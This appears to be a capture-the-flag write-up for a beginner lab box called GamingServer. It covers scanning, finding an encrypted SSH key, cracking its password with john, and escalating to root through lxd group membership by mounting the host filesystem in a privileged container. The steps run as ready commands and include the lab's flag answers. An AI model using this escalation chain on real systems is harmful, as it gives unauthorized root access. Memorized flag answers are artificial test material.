GamingServer





GamingServer
An Easy Boot2Root box for beginners

writeup

```
------user-flag------
--ran nmap scan and found open ports 22 and 80
--visited website and found a robots.txt file containing:
/uploads
--/uploads directory contains 3 files:
dict.lst
manifesto.txt
meme.jpg
--ran gobuster and found /secret directory
--/secret directory contains a SSH key called secretKey that is encrypted
--ran ssh2john secretKey > secret.hash then cracked with john to get password letmein
--ran ssh -i secretKey john@<IP-address> and password letmein
-- now simply run cat user.txt to get user flag:
a5c2ff8b9c2e3d4fe9d4ff2f1a5a6e7e
-----root-flag-----
--tried sudo -I unsuccessfully
--downloaded linpeas.sh to victim machine and ran it
--noticed something in id command output
uid=1000(john) gid=1000(john) groups=1000(john),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),108(lxd)
--found an article explaining how to use lxd privescalation:
https://www.hackingarticles.in/lxd-privilege-escalation/
--must download alpine-build script to local machine, and transfer image to victim machine as follows:
local machine:
git clone https://github.com/saghul/lxd-alpine-builder.git
cd lxd-alpine-builder
su root
./build-alpine
victim machine:
Ixc image import ./alpine-v3.12-x86 64-20200906 0856.tar.gz --alias myimage
lxc init myimage ignite -c security.privileged=true
lxc config device add ignite mydevice disk source=/ path=/mnt/root recursive=true
lxc start ignite
Ixc exec ignite /bin/sh
--now running id gives us:
uid=0(root) gid=0(root)
--located flag in directory /mnt/root/root and ran cat root.txt to get flag:
2e337b8c9f3aff0c2b3e8d4e6a7c88fc
```

scans

-----nmap-scan-----

PORT STATE SERVICE VERSION

22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)

| ssh-hostkey:

2048 34:0e:fe:06:12:67:3e:a4:eb:ab:7a:c4:81:6d:fe:a9 (RSA) 256 49:61:1e:f4:52:6e:7b:29:98:db:30:2d:16:ed:f4:8b (ECDSA)

256 b8:60:c4:5b:b7:b2:d0:23:a0:c7:56:59:5c:63:1e:c4 (ED25519)

80/tcp open http Apache httpd 2.4.29 ((Ubuntu))

| http-server-header: Apache/2.4.29 (Ubuntu)

| http-title: House of danak

Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

-----gobuster-scan-----

/uploads (Status: 301) /secret (Status: 301)

/server-status (Status: 403)

[Task 1] Boot2Root

Can you gain access to this gaming server built by amateurs with no experience of web development and take advantage of the deployment system.

#1
What is the user flag?

a5c2ff8b9c2e3d4fe9d4ff2f1a5a6e7e

#2
What is the root flag?

2e337b8c9f3aff0c2b3e8d4e6a7c88fc